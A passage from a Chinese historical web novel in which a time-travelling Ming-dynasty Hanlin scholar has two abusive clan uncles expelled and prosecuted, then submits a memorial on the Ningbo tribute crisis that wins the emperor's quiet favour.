损伤兄台清誉,阻兄前程!”
“周师酒醒后似有悔意,
再三叮嘱家父切勿外传。
然萱思及兄台孤身在外,
如履薄冰,此类小人行径不可不防。
万望兄台在京中多加留意,早做绸缪。”
“又,七叔公处亦有要事相告,
关乎族亲,望兄一并览之。”
看到此处,苏惟瑾目光骤然转冷。
张承宗?竟是阴魂不散!
攀上了张璁**的给事中?
钱给事中?
超频大脑瞬间检索近期接触的京官信息网络,
迅速锁定了一个目标——礼科都给事中钱梦皋,
此人是张璁的急先锋,
以言辞刻薄、善于攻讦著称,
确是条咬人不叫的恶犬。
他们想拿他的出身做文章?
军户、书童……
这在极重出身清白的翰林院,
确是可被攻讦的“污点”。
虽然陛下或许更重才学,
但若被言官揪住不放,
整日**,终究是麻烦,
甚至可能影响观感。
正思忖间,目光落到七叔公后续的信上,眉头蹙得更紧。
“惟瑾吾侄:前事文萱侄女已述,
望你千万小心。
另,族中那两个不成器的东西
——苏有才、苏有德,真真是烂泥扶不上墙!
自你中状元后,这两人便愈发张狂,
仗着你的名头,在乡里横行霸道,无法无天!”
“强买邻人水田、干涉乡间诉讼收受好处、
欺压自家佃户加租夺佃……
恶行累累!
更可气者,竟敢冒用你的名义,
收受他人贿赂,许诺替你‘打点关节’!
闹得怨声载道,乡邻敢怒不敢言。”
“老夫闻之震怒,当即唤来二人,厉
声呵斥,令其收敛。
二人当面唯唯诺诺,赌咒发誓,
转头却阳奉阴违,变本加厉!
还口出狂言,说什么‘状元侄儿在京做大官,
沭阳谁敢不给我们兄弟面子?’、
‘些许小事,瑾哥儿岂会怪罪?’真真气煞老夫!”
“家族清誉,恐被此二獠毁于一旦!
亦恐成为他人攻讦你的口实!
此事需速做决断,万不可再姑息!”
砰!苏惟瑾的手掌轻轻按在信纸上,
面色沉静如水,眼中却已寒芒闪烁。
内有权奸窥伺,欲揭其旧伤;
外有族亲作孽,自毁长城!
这内外交攻之势,倒是来得巧!
超频大脑以前所未有的速度运转起来,
将两件事并案处理,分析利弊,
推演各种可能,迅速制定出一套组合策略。
他首先铺开信纸,给赵文萱回信。
笔尖蘸墨,字迹从容而温润:
“文萱妹妹惠鉴:”
“来信收悉,深感妹妹关切之情,瑾在此谢过。
京中风云,瑾自有分寸,
妹妹勿需过于忧心。
此事知之即可,万勿再向他人提及,
亦请转告赵师与周师,
瑾感念其维护之意,此事到此为止,
切勿因此与小人结怨,
一切由瑾应对即可。”
“秋深露重,望妹妹与赵师保重身体。
瑾一切安好,勿念。”
语气温和,全无惊慌,
既感谢了她的报信之情,
又充分为她考虑,让她置身事外,
避免引火烧身。
相信以赵文
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萱的聪慧,自然明白其中深意。
写完,封好。
另取一纸,笔锋顿时转为沉稳冷峻,
是给七叔公的回信:
“七叔公尊鉴:”
“来信俱悉,劳叔公费心。
京中之事,侄孙已有计较,不必担忧。
张家跳梁,不过是秋后蚂蚱,
垂死挣扎,翻不起大浪。”
“至于苏有才、苏有德二人,
恶行确凿,天理难容!
此非家事,乃关乎国法族规。
侄孙远在京城,不便直接处置。
请叔公即刻以族老之名,
召集族中正直长者,
将此二人恶行公之于众,
依族规先行严惩,收缴其非法所得,
退赔苦主,并立下文书,
将其劣迹记录在案,
逐出家族核心事务,严加看管!”
“同时,请叔公暗中搜集二人及张家所有不法之事之确凿证据(田契、账目、人证证词等),
整理成册,妥善保管。
此乃日后应对一切诘难之利器。”
“另,可巧妙在乡里士绅间多宣扬我苏氏祖上军功起家、
曾任千户之荣光,
强调‘诗书传家、忠勇为本’之族风,
以此淡化近期某些不良影响。
可适当捐资修缮族学、
资助贫寒子弟,重塑家族声望。”
策略清晰:对内,快刀斩乱麻,
依族规严惩作恶族亲,
切割干净,博取乡望;
对外,暗中收集对方罪证,
巩固自身正面形象,以不变应万变。
他写罢,将两封信分别封好,唤来苏惟山:
“这封即刻送驿丞,
发回沭阳赵教谕府上,指名赵小姐亲启。
这一封,寻可靠商队,
快马送回沭阳,亲自交到七叔公手中,不得有误。”
苏惟山见自家瑾哥儿面色沉静,
但眼神锐利,知有大事,不敢多问,
郑重接过信件匆匆而去。
苏惟瑾起身,行至窗前,望着翰林院中苍劲的古松。
风波已起,暗流涌动。
但他早已非昔日沭阳河边那个无依无靠的少年书童。
超频大脑是他的铠甲,步步为营的谋划是他的利刃。
京城这座大舞台,既然有人想拉他下场唱这出攻讦的戏,
那他便好好陪他们唱一出。
唱一出借力打力、后发制人的好戏。
他嘴角勾起一丝冷冽的弧度。
张承宗?钱梦皋?还有那两个自作孽的叔伯……
且看谁能笑到最后。
第171章 超脑析祸决断明,大义灭亲肃家
信使带着两封决断之书策马离京,
蹄声嘚嘚,踏碎了深秋的晨雾。
苏惟瑾立于院中,
目送那身影消失在长街尽头,
方才那股挥毫时的冷厉决然渐渐沉淀下来,
取而代之的是一种深沉的审慎。
刚才的回信,是基于当下情报的最优解。
但超频大脑的运作从未停止,
它自动将“苏有才、苏有德作恶”事件单独提取出来,
置于更宏大、更严酷的背景下进行深度推演分析,
模拟各种可能的发展轨迹。
推演结果如同冰水浇头,
瞬间让他意识到,
自己先前那“依族规严惩”的处理思路,
仍旧带着一丝来自现代社会的、
对“家族”概念不必要的温情与侥幸!
“我还是心太软了……”
苏惟瑾低声自语,
眼神却愈发锐利。
“总是不自觉用现代的道德观念和处事逻辑,
来套用这大明嘉靖年的官场与宗法!
此乃取祸之道!”
超频大脑冰冷无情地罗列出纵容此二人的三大致命危害,
每一条都直指他的核心利益:
一、官声清誉,毁于一旦。
大明官场极重声誉,
尤其是翰林清流,
几乎到了洁癖的地步。
若任由二叔伯继续横行乡里,
强买田产、干涉诉讼、冒名**……
这些恶行迟早会通过种种渠道(如政敌刻意搜集、苦主无奈上告、甚至士林清议)传入京城。
届时,他苏惟瑾“连中六元”、“寒门状元”的光环将迅速蒙尘。
张璁、钱梦皋等政敌正愁找不到攻击他的突破口,
此等现成的“治家不严”、“纵容族亲、
为祸乡里”的罪名,岂会放过?
只需几道**奏章,
便能将他苦心经营的“少年英才”、“清流预备”形象击得粉碎!
一旦被贴上“包庇纵容”的标签,
他在翰林院乃至整个士林都将举步维艰。
二、“寒门英才”人设,彻底崩塌。
他的崛起之路,
很大程度上得益于“寒门逆袭”这个极具感染力和说服力的人设。
陛下赏识、清流看重,亦有此因素。
若族人仗势欺人、盘剥乡里的行径坐实,
这个人设将瞬间变为讽刺。
“寒门”不再是励志符号,
而是“缺乏家教”、“骤得富贵、不知收敛”的代名词。
这将动摇他立足的根本!
三、激变民怨,覆巢之危。
超频大脑调取了无数历史案例:
地方豪强(哪怕只是沾了点权势边的)欺压过甚,
最终逼反民众,酿成民变。
届时,朝廷追究下来,
首当其冲的便是他这位在朝中“享福”的状元郎!
轻则丢官去职,重则下狱问罪!
苏有才、苏有德这两个蠢货,
贪婪无度,毫无底线,
根本意识不到他们的行为是在玩火,
是在挖掘埋葬整个苏家的坟墓!
指望他们悔改?
无异于痴人说梦!
他们的愚蠢和贪婪是刻在骨子里的,
绝不会因为一次族内呵斥就收敛,
只会变本加厉,直至将所有人都拖入万劫不复的深渊!
三条推演结果,条条致命,字字惊心!
不能再有任何犹豫!
不能再有任何幻想!
现代社会的道德观、宗族情分,
在这等关乎自身前途命运、
甚至生死存亡的威胁面前,
必须让位于最冷酷的现实逻辑!
“必须快刀斩乱麻!”
“必须大义灭亲!”
“绝不能被这两颗毒瘤拖累,
绝不能让他们毁了我苦心经营的一切!”
苏惟瑾眼中最后一丝迟疑彻底消失,
取而代之的是一片冰封般的决绝。
恩怨分明,是他早已立下的原则。
对帮助过他的人,他涌泉相报;
对这些不仅无恩,
反而不断作孽、试图将他拉入泥潭的“亲人”,
他动起手来,也绝不会有丝毫手软!
他猛地转身,回到书案前。
之前的回信虽已发出,
但力度远远不够!
族规惩戒?收缴非法所得?
逐出核心?这太温和了!
对于这种无可救药的蠢货和恶棍,
必须用最彻底、最无可指摘的方式,
与之进行最彻底的切割!
他再次铺开信纸,笔走龙蛇,
字迹比之前更加锋芒毕露,
带着一股不容置疑的杀伐之气:
“七叔公尊鉴:”
“前信仓促,思之未尽。
今细虑之,苏有才、苏有德二人之恶,已非族规所能容!
其行径国法难饶,更已成侄孙心腹大患,
若不断然处置,我苏氏满门皆危!”
“请叔公即刻采取以下措施,
雷厉风行,不得有误!”
“一、立即将二人所有恶行(强占田产、干涉讼事、勒索钱财、冒名**等)
详细列出罪状,联同苦主证词、物证,
直接呈送沭阳县衙!
以家族名义,状告此二獠败坏门风、触犯国法!
请求县尊王大人依法严办,我苏家绝不袒护!”
“二、在族中祠堂当众宣布,
将此二人逐出苏家族谱,
从此与我苏家再无瓜葛!
公告乡里,明示众人!”
“三、其所强占之田产、勒索之钱财,
尽数由叔公监督,双倍返还苦主,
并当面赔罪,力求平息民怨。”
“四、以此事为契机,整肃族风。
言明我苏家诗书传家
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,
忠厚为本,绝不容许此等害群之马存在。
凡有作奸犯科者,皆以此为例,绝不姑息!”
“此举看似绝情,
实乃保全家族、保全侄孙前程之唯一正道!
唯有如此,方能向朝廷、
向陛下表明我苏家立场,
堵住悠悠众口,让政敌无可趁之机!”
“侄孙在朝,如临深渊,如履薄冰。
家族非我助臂,反成掣肘负累,此痛何其深切!
望叔公体谅侄孙苦心,
速速依计行事,切不可再有半分迟疑仁念!”
“此事办妥,方可真正推行前信所言‘宣扬祖光’、‘捐资助学’等事,重塑我苏氏门楣!”
“京城风波,侄孙自会应对。
家族内部,拜托叔公了!”
写罢,他重重搁笔,胸口微微起伏。
这封信,彻底斩断了对那两位所谓“叔伯”的最后一丝情分,
将其完全推向了国法与宗族的对立面,
同时也将最大的压力给到了七叔公。
但他相信,以七叔公的见识和对家族利益的看重,
在看清其中利害后,会做出正确的选择。
唯有如此壮士断腕,方能置之死地而后生!
“惟山!”
他沉声喝道。
“瑾哥儿?”
苏惟山应声而入,感受到房内凝重的气氛。
“即刻追上前一批信使,
若追不上,另派最快人手,
不惜代价,将此信以最快速度送至沭阳七叔公手中!
告诉他,一切依此信为准!
前信作废!”
苏惟瑾将信递出,语气斩钉截铁。
苏惟山虽不明所以,
但见苏惟瑾神色前所未有的严峻,
不敢多问,接过信转身狂奔而去。
院中再次恢复寂静。
苏惟瑾独自立于阶前,
秋风卷起落叶,在他脚边打着旋儿。
超频大脑冷静地评估着此举带来的后续影响:
短期内,家族内部必有震荡,
甚至会有“状元郎无情”的非议。
但长远看,这是刮骨疗毒,
是向朝廷和皇帝展示他“大义灭亲”、“公私分明”的绝佳机会,
反而能进一步巩固他的形象,
让任何想拿他家族说事的人无从下口。
内心并无多少快意,唯有决断后的冷冽。
穿越至此,他早已明白,
在这条逆天改命的道路上,
仁慈,尤其是对蠢货和恶人的仁慈,
就是对自己最大的残忍。
今日之大义灭亲,非为无情,
实为求生,求那通天之路,
能走得更加稳妥,
更加……无人可挡!
他望向南方,目光似乎穿透了千山万水,
落在了那两个仍在沭阳作威作福的蠢货身上。
他们的好日子,到头了。
第172章 三管齐下布罗网,雷厉风行清门
遣走第二波信使,
苏惟瑾心中的紧迫感并未消减,
反而愈发清晰。
超频大脑高速运转,
推演着沭阳可能发生的种种变数。
七叔公收到信后是否会果断执行?
王县令面对苏家族内的状告,
是否会因为顾及他这位新科状元、
翰林修撰的情面而手下留情,
高高举起轻轻落下?
若不能将苏有才、苏有德彻底按死,
留下任何余地和反复,
都是巨大的隐患!
不行!
必须多管齐下,确保万无一失!
他再次回到书案前,
铺开两份截然不同的信纸。
一份是翰林院的公函用纸,
另一份则是普通的民间信笺。
首先,他提笔蘸墨,在那份公函用纸上落笔。
语气是官方文书的客气与疏离,
却又带着不容置疑的明确:
“沭阳县令王公台鉴:”
“京中一别,倏忽数月,
遥想老父母政通人和,
治下清平,惟瑾心甚慰之。”
“近日得闻族中不肖子弟苏有才、苏有德二人,
假借瑾之微名,在乡里横行,强买田产,
干预词讼,甚或勒索钱财,
败坏了苏氏门风,更触犯朝廷律法,民怨沸腾。
瑾闻之,羞愧无地,震怒非常!”
“瑾虽不才,亦知国法重于私情。
此二獠之恶行,绝非瑾之本意,
更非瑾所能容!
瑾远在京师,不能亲临处置,
心痛之余,唯有恳请老父母!”
“万望老父母秉公执法,
彻查二人所有不法情事,
依《大明律》从严惩处,绝不姑息!
不必有丝毫顾及瑾之颜面。
正因瑾身负皇恩,位列清班,
更需以身作则,大义灭亲,
以正视听,以儆效尤!”
“瑾在此先行拜谢!
待他日还乡,再当面谢过老父母维**纪、匡扶正义之举。”
“翰林院修撰苏惟瑾顿首”
这封信,姿态极高!
既表明了自己大公无私的态度,
彻底撇清了与那两人的关系,
又将**抬到了“维**纪、
匡扶正义”的高度,
堵****可能想要和稀泥、
看情面的所有后路。
**若是聪明人,就该明白,
严格按照国法办事,
才是对苏惟瑾最大的“帮忙”,
也能借此机会进一步向这位前途无量的状元郎示好。
写完这封,他迅速换过普通信笺,
笔锋也变得更为直接、急切,
这是写给周大山之父,
沭阳县衙资深捕头周老爹的:
“周世伯尊鉴:”
“小侄京中遇急事,需世伯鼎力相助!”
“族中苏有才、苏有德二人之事,
想必世伯已有耳闻。
此二獠恶贯满盈,
已成小侄心腹大患,
恐被京中政敌利用,构陷攻击。”
“恳请世伯动用关系,
暗中全力搜集此二人所有不法罪证!
包括但不限于:
强占田产的原始地契与逼迫画押的文书、
干涉诉讼的经手人与贿银数目、
勒索钱财的苦主名单与具体金额、
冒我之名收取贿赂的人证物证……
越详细越好,越扎实越好!”
“此事需秘密进行,务必谨慎,
避免打草惊蛇。
所有证据收集齐全后,
请世伯派绝对可靠之人,
火速送至京城我处!
路途一切花费,由小侄承担,另有重谢!”
“此事关乎小侄身家前程,十万火急!拜托世伯了!”
“小侄惟瑾急拜”
这封信,才是真正的**锏!
王县令那边明面上的国法审判要走,
自己手里更要掌握最核心、
最致命的黑材料。
这些证据一旦到手,
无论沭阳审判结果如何,
无论将来京中政敌如何拿此事做文章,
他都能进退有据:
进,可随时补上更致命的**;
退,可展示自己大义灭亲的彻底与无奈。
周捕头父子深受他恩惠,
且本身就是体制内搞刑名的,
做这件事最为合适,效率最高。
两封信写罢,墨迹未干。
苏惟瑾分别盖上自己的私印和翰林院的公用印章(给王县令的那封),
高声唤道:“惟山!”
苏惟山几乎是小跑着进来,
他感觉今天的瑾哥儿如同一张拉满的弓,气息迫人。
“这两封信,另派两组人手,分头送出!
给王县令的信,走驿站的加急通道。
给周捕头的信,找绝对可靠的自家商队,
快马加鞭,亲自送到周捕头本人手中,确保万无一失!”
苏惟瑾将信递出,语气斩钉截铁,
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不容半分置疑。
“是!瑾哥儿放心!”
苏惟山接过信,只觉得重若千钧,转身飞奔而去。
院子里再次安静下来。
苏惟瑾缓缓坐回椅中,闭上眼睛。
超频大脑如同精密的棋盘,
推演着这三封信到达沭阳后可能引发的连锁反应:
七叔公接到最终指令,
再无犹豫,必然会以最强硬的姿态召集族老,
公开罪状,启动族谱除名程序,
并正式向县衙呈交诉状。
王县令接到自己那封“大义凛然”的信,
于公于私,都只会有一个选择:
雷厉风行,公开审理,从严判决,
以此向自己示好,
并向朝廷展示他**“铁面无私”、“不徇私情”的官声。
周捕头接到密信,
凭借其老辣的经验和衙门里的关系网,
暗中搜罗罪证必定事半功倍,
那些见不得光的交易、
逼迫画押的文书、
敢怒不敢言的苦主……
都会在他的操作下浮出水面,
成为自己手中最锋利的刀。
三管齐下,明暗结合,宗法、国法、私刑(证据)三重手段叠加!
苏有才、苏有德这两个蠢货,
将彻底陷入天罗地网,
再无丝毫翻身兴风作浪的可能!
这不是简单的清理门户,
这是一次精准、高效、冷酷的**操作。
旨在最短时间内,以最小的代价,
扑灭最危险的隐患,
并将可能的口实转化为展示自己“公正无私”的舞台。
苏惟瑾睁开眼,目光透过窗棂,望向南方。
仿佛能看到沭阳县衙即将升起的公堂,
看到那两个蠢货惊恐失措的嘴脸,
看到七叔公痛心又决然的神情,
看到**一本正经地拍下惊堂木,
看到周捕头在阴影中默默收集着致命的线索……
他的嘴角,终于勾起一丝冷冽的弧度。
超频大脑赋予他的,
不仅是知识,更是这种超越时代的全局观和雷霆手段。
要么不做,要么做绝。
在这条逆袭之路上,任何心慈手软,
都是对自己最大的残忍。
家族?
若是助力,自当维护。
若是赘疣,那就……
一刀切下!
决断已下,布局已成。
现在,只需静待佳音(或者说,噩耗)从沭阳传来。
第173章 雷霆手段肃家秽,民心称快
京城苏宅的书信如同三道无声的雷霆,
精准地劈落在沭阳县这个运河小城。
七叔公颤抖着捧读苏惟瑾那封最终决断的信,
老脸上的皱纹因痛苦和决绝而深刻得如同刀刻。
他闭目良久,再睁开时,浑浊的眼中已只剩下一片冰冷的清明。
家族与两个败类之间,他必须做出选择。
为了苏氏满门,为了惟瑾那通天的前程,这恶人,他来做!
消息如同野火般在苏氏宗族内部蔓延。
苏有才、苏有德一系的亲近族人,
如他们的儿子苏惟强、苏惟壮,
初闻时还试图狡辩,四处游说,
言道“家丑不可外扬”、“瑾哥儿定是受了小人蒙蔽”。
然而,当他们看到七叔公那冷若冰霜的脸色,
听到族中其他旁支族人毫不掩饰的鄙夷与划清界限的言论,
甚至往日巴结他们的人家也纷纷闭门谢客时,才真正慌了神。
苏惟强、苏惟壮缩在屋内,
面如土色,再不敢如往日般嚣张,
心中充满了对父亲愚蠢行径的怨恨以及对未来的恐惧。
而苏婉,在听闻兄长决断后,
只是安静地坐在窗前,
手中摩挲着哥哥从京城捎来的那枚温润玉佩。
她没有去前院参与纷争,
也没有为那两个曾欺压他们兄妹至深的叔伯求情
——她深知哥哥此举的深意,
这不仅是肃清家族毒瘤,
更是对过往所有不公的彻底清算。
她心中唯有对兄长决断力的钦佩,
以及一丝彻底摆脱过往阴霾的轻松。
她吩咐贴身伺候的婆子,
紧闭院门,不闻外间喧哗,
只静待宗族公议的结果。
翌日,苏氏宗祠大门轰然洞开。
七叔公身着簇新的深色直裰,
召集所有族老,
当众宣读了苏有才、苏有德累累罪状。
族老们虽早有耳闻,
但听得如此详尽,依旧哗然。
祠堂内,气氛肃杀。
苏有才、苏有德被强压着跪在祖宗牌位前,面无人色。
苏惟强、苏惟壮等子侄辈跪在后排,
头埋得极低,恨不得钻进地缝里去,
承受着四周族人或鄙夷或怜悯的目光。
其他苏氏族人,无论是往日与他们交好的,
还是受过他们欺压的,
此刻皆屏息凝神,心中凛然。
七叔公此举,以及背后来自京城苏惟瑾的意志,
让所有人都明白,
苏家已非昔日破落户,
门风家规,容不得丝毫玷污。
七叔公毫不留情,
直接宣布依据族规,
将此二人从族谱上除名,
从此生死荣辱,与苏氏再无干系!
并当场写下诉状,
盖上了族老会的联名大印,
由几个精壮后生抬着,
浩浩荡荡直奔县衙而去。
几乎是同时,**王县令也收到了那封来自翰林的公函。……
他细细读着那看似客气实则字字千钧的文字,
尤其是“不必有丝毫顾及瑾之颜面”、“大义灭亲,以正视听”几句,
让他眼角猛地一跳,随即心头一阵狂喜!
正愁没机会进一步巴结这位简在帝心、
前途无量的新科状元呢!
这简直是瞌睡送来了枕头!
苏惟瑾这是要将“大义灭亲”的功劳和名声,
亲手送到他**的手上啊!
“升堂!即刻升堂!”
**猛地一拍桌案,
声音都因激动而有些变调。
“速派三班衙役,将苏有才、苏有德这两个刁民缉拿归案!不得有误!”
县令大人突然如此雷厉风行,
衙役们虽摸不着头脑,
却也不敢怠慢。如狼似虎的官差直扑苏家那两兄弟的住处时,
这两人还在屋里做着仗势欺人、日进斗金的美梦。
直到冰凉的锁链套上脖颈,
他们才如梦初醒,吓得魂飞魄散,
一路哭爹喊娘地被拖向了县衙。
“冤枉啊!青天大老爷!我们是状元公的亲叔伯啊!”
“**府!您不能抓我们!瑾哥儿知道了定会怪罪……”
公堂之上,两人还在试图挣扎,搬出苏惟瑾的名头。
“啪!”
惊堂木巨响,震得整个大堂嗡嗡作响。
**面沉如水,厉声喝道:
“住口!本官正是收到苏修撰亲笔书信,
痛陈你二人恶行,恳请本官秉公执法,绝不姑息!
尔等还敢攀扯状元清誉?真是不知死活!”
他当众展示了苏惟瑾那封信(自然是关键部分),
声音洪亮,确保堂外围观的百姓都能听见:
“苏修撰身在京师,心系桑梓,
闻你二人恶行,痛心疾首!
言道‘国法重于私情’,令本官依法严办,以正风气!
此乃真真正正的大义灭亲,实乃我辈为官者之楷模!”
这话一出,堂外围观的百姓瞬间炸开了锅!
“嚯!原来是苏状元亲自要求严办的!”
“我就说嘛!苏状元何等清正人物,怎会有这等混账亲戚!”
“大义灭亲!这才是读书人的风骨!”
“好!判得好!苏状元英明!”
民情瞬间被点燃,
所有的赞誉都涌向了远在京城的苏惟瑾。
而苏有才、苏有德两人,
则如遭雷击,面如死灰,彻底瘫软在地。
他们最大的依仗,竟成了亲手将他们推入深渊的巨石。
**要的就是这个效果!
他趁热打铁,将七叔公呈上的罪状一一宣读,
人证物证确凿。最终判决:
二人强占田产、勒索钱财、干预司法,
数罪并罚,判杖刑一百,监禁五年!
所得赃款赃物,尽数追回,发还苦主!
“打!狠狠地打!”
王县令掷下火签。
衙役们将这两个软瘫如泥的蠢货拖到堂下,
扒掉裤子,水火棍毫不留情地落下。
“哎哟!”
“娘啊!疼死我了!”
“饶命啊老爷!我们再也不敢了……”
杀猪般的惨叫声响彻县衙内外,
棍棒着肉的闷声听得人心惊肉跳。
围观的百姓却无不拍手称快,
甚至有人低声叫好。
往日被他们欺压过的乡邻,
更是看得热泪盈眶,直呼苍天有眼。
一百棍打完,两人屁股早已皮开肉绽,昏死过去。
像拖死狗一样被拖回了阴暗的牢房,
等待他们的将是漫长的铁窗生涯。
当苏有才、苏有德在县衙前被当众杖刑的惨叫声传来时,
**在祠堂外等候消息的苏氏族人中,
爆发出一阵压抑的唏嘘和低
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语。
一些曾受过欺压的旁支族人,
忍不住面露快意。
而苏惟强、苏惟壮听闻父亲的惨状,
更是吓得浑身发抖,瘫软在地,
被族人鄙夷地拖到一旁,
心中那点凭借父辈余荫作威作福的念头,
彻底被这无情的水火棍击得粉碎。
他们知道,从今往后,
他们在族中将彻底边缘化,
能否立足,全看自身是否安分守己。
消息像长了翅膀一样飞遍沭阳大街小巷。
……
“听说了吗?苏状元那两个混账叔伯,
被县太爷判了重刑!
是状元爷亲自发话要严办的!”
“真是大快人心!这两个祸害总算遭报应了!”
“苏状元真是清官啊!连自家亲叔伯都不袒护!”
“何止不袒护,是大义灭亲!这才是为民做主的好官!”
茶楼酒肆,街头巷尾,人人都在议论。
苏惟瑾的声望非但没有因家族出此败类而受损,
反而因其“铁面无私”、“大义灭亲”的举动,达到了新的高度。
连同**王县令,也赚了个“铁面无私”、“能吏”的名声。
七叔公忍着心痛,亲自监督,
将追回的田产钱财双倍赔偿给苦主,并郑重赔礼。
苏家此举,更是赢得了乡邻的广泛赞誉,
原本可能出现的家族信誉危机,
瞬间转化为一场树立家族正面形象的公关胜利。
风波过后,苏家内部经历了一场无声的清洗与整肃。
七叔公借机重申家规,
对族中子弟严加管束。
苏惟强、苏惟壮等人变得异常低调,
甚至不敢轻易出门,生怕引人注目。
而苏婉的院落,却比往日更受敬重。
族中女眷们待她愈发周到体贴,
年轻子弟们路过她的院门都会不自觉放轻脚步。
所有人都清楚,这位沉静的小姐,
是远在京师的状元公最在意的人,
她的态度,在某种程度上也代表着苏惟瑾的意志。
苏婉依旧沉静,
但眉宇间那份属于“状元之妹”的从容与底气,却愈发明显。
一场足以颠覆苏惟瑾前程的潜在危机,
就这样以迅雷不及掩耳之势,
被彻底扑灭。
转化而成的,是更加稳固的官声和如潮的**。
数日后,周捕头的密信也随着商队悄然抵达京城。
信中详细罗列了苏有才二人更多、更隐秘的罪证,
甚至包括他们酒后狂言“京城有人”、“将来要做老太爷”等悖逆之语。
这些黑材料,被苏惟瑾仔细收起,存入密室。
他知道,这些东西,或许将来某一天,还能派上更大的用场。
京城小院中,苏惟瑾收到七叔公和王县令分别送来的案情详报,面色平静无波。
超频大脑评估着结果:
威胁解除,声誉提升,额外获得对手黑材料……
一切都在算计之中。
他提起笔,给七叔公回了一封简短的信:
“叔公明断,家族幸甚。
望日后严加管束子弟,光大门楣。”
笔尖落下,尘埃落定。
沭阳的这场风波,
于他而言,不过是清除了几只嗡嗡作响、试图玷污他华服的苍蝇。
他的目光,早已投向更遥远的星辰大海。
第175章 未雨绸缪策惊殿,帝心暗许才堪
宁波惊变的余波在京城官场持续震荡。
朝堂之上,文武大臣们吵作一团,
声浪几乎要掀翻奉天殿的穹顶。
“陛下!倭奴猖獗至此,必须严惩!
当立刻发兵,痛剿来犯之敌,扬我国威!”
兵部的主战派官员慷慨激昂,唾沫横飞。
“万万不可!
东南海防废弛已久,仓促兴兵,胜算几何?
若再遭败绩,国体何存?
当务之急是严守海疆,
遣使斥责,令其交出祸首!”
礼部及部分保守文臣则力主谨慎,
强调天朝体面。
“市舶司贪腐酿祸,必须严查!
相关官员一个都不能放过!”
都察院的御史们则将矛头对准了内宦和地方官员。
“光是查办有什么用?
日后难免再生事端!
须得从根本上规范贡贸章程!”
也有官员提出要修改制度,
但具体如何改,却又语焉不详。
争吵持续了数日,各方引经据典,
互相攻讦,却始终拿不出一套能让嘉靖帝真正满意的、
既解近忧又除远患的周全之策。
年轻的皇帝坐在龙椅上,
面沉似水,听着底下臣子们毫无新意的陈词滥调,
心中的烦躁与失望日益累积。
他要的是解决问题的办法,
而不是这些毫无营养的扯皮!
就在这纷扰之中,
一份来自翰林院修撰苏惟瑾的密奏,
经由司礼监太监,悄然呈送至嘉靖帝的御案之上。
“苏惟瑾?”
嘉靖帝眉头微挑,对这个名字印象颇深。
上次经筵日讲,
此子对《春秋》“尊王”之义的那番别解,深合他心。
此刻上奏,所为何事?
他展开奏疏,一行行清晰有力、条理分明的字迹映入眼帘:
“臣翰林院修撰苏惟瑾谨奏:
为宁波倭使争贡事,沥陈管见,以备圣裁。”
“臣闻宁波之变,匪夷所思,
实乃市舶管理失序、倭人性情狡悍、
海防预警不足等诸多弊病交织之恶果。
事发突然,然其弊早伏,绝非偶然。”
开篇直指根源,毫不拖泥带水,
让嘉靖帝精神微微一振。
他继续往下看。
“臣愚见,当下之急,首在‘惩’与‘防’。”
“一曰严惩立威:
对肇事倭首宗设谦道及其党羽,
务必全力缉拿或剿灭,明正典刑,以儆效尤。
对涉案之市舶司官员、
尤其是**之太监赖恩,
更需从严从重查处,以肃官纪。
对殉国之刘锦、张镗等将士,
应从优抚恤,激励士气。”
“二曰强化海防:
即刻敕令浙、闽沿海诸卫所,整饬军备,加强巡哨。
可命地方官组织乡勇,
沿海岸线设立烽堠预警,形成联防。
断不可使倭人再轻易登岸肆虐。”
看到这里,嘉靖帝微微颔首,
这些虽是常规操作,但条理清晰,切中要害。
然而,接下来的内容,才真正让他坐直了身子。
“然,治标更需治本。
臣窃以为,宁波之祸,根在于‘利’与‘管’之失衡。”
“故,臣斗胆进言中长期之策,曰‘整饬’与‘疏导’并举。”
“整饬市舶司:
须定立明确章程,
规范勘合校验、贡使接待、宴席座次、
贸易顺序等一切流程(臣附简陋流程图于后,伏乞御览),
杜绝私相授受。
增派御史或科道官员监督,
使权责分明,运作透明。”
“更有甚者,”
奏疏笔锋一转,
提出一个让嘉靖帝都感到一丝惊讶的大胆建议。
“陛下,堵不如疏。
倭人冒死泛海而来,无非为利。
我朝严控海贸,其利尽归少数贪吏豪商,
而国家所得有限,反滋生种种弊端。
何不借此契机,有限度开放沿海特定口岸(如广州、泉州),
仿宋元旧例,设立‘市舶课’,
官督商办,规范贸易,抽取税饷?
如此,既可满足外番贸易之求,
使其有利可图而减少鋌而走险,
亦可充盈国帑,强化海防,
更可使贸易置于阳光之下,
减少**空间。
此乃长远消弭倭患之一策也,
伏乞圣明思虑。”
奏疏最后写道:
“臣才疏学浅,所言皆出自忧国之心。
这些浅见,乃臣平日读书偶得,
闲暇时胡乱
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揣摩所记,
不想竟有不幸言中之日。
是否妥当,伏惟陛下圣裁。”
嘉靖帝的目光久久停留在奏疏上,
尤其是那幅用清晰线条绘制的“市舶司业务流程规范简图”和“有限开放海贸利弊分析图”,
虽然简洁,却将复杂的政务梳理得一目了然,
其思路之清晰,考量之周全,
远超殿上那些只会空谈的大臣!
更让他心中惊异甚至暗喜的是,
苏惟瑾在奏疏中透露出的意思
——这些见解,是他平日闲暇时“胡乱揣摩所记”!
这意味着什么?
意味着此子早在事件爆发之前,
就已经洞察到了海贸管理中存在的隐患,
并提前思考了对策!
这是何等惊人的预见性!
何等主动的任事之心!
只会磕头请罪或争吵推诿的庸碌之臣,
苏惟瑾这份既有应急之策、
又有长远之谋的奏疏,
简直如同炎夏甘霖,
让他焦躁的心情为之一畅!
“此子……果真大才!”
嘉靖帝忍不住低声赞了一句,
手指轻轻敲着那份奏疏,
眼中闪烁着发现璞玉般的光芒。
“不仅学问好,更能学以致用,
洞察时弊,建言献策。
更难得的是这份心思……
竟能想到朕的前头去了。”
他没有立刻将这份奏疏下发廷议。
因为其中关于“有限开放海贸”的建议过于大胆,
必定会遭到守旧臣子的强烈反对。
但他已将苏惟瑾的名字,
深深记在了心里。
这份奏疏,被他留中不发,
却成了他衡量其他臣子奏对的一块试金石。
此后几日,再听那些大臣争吵,
他心中不由常冷笑:
“尔等所见,尚不及一新晋翰林深远!”
苏惟瑾此举,看似只是上了一封奏疏,
实则再次精准地挠到了皇帝最大的痒处:
渴望得力干才,渴望能为他分忧解难、且有远见卓识的心腹。
超频大脑的预判与谋划,
再次于无声处听惊雷,
将一场危机,转化为了进一步靠近权力核心的阶梯。
帝心深处的赞许与倚重,又加深了一层。
第176章 超脑复盘帝王心,如履薄冰慎前
左顺门那场关于宁波倭乱的御前会议,
最终在一片沉闷与各怀心思中草草收场。
嘉靖帝朱厚熜带着难以掩饰的失望拂袖而去,
留下满殿面面相觑、心头惴惴的文武大臣。
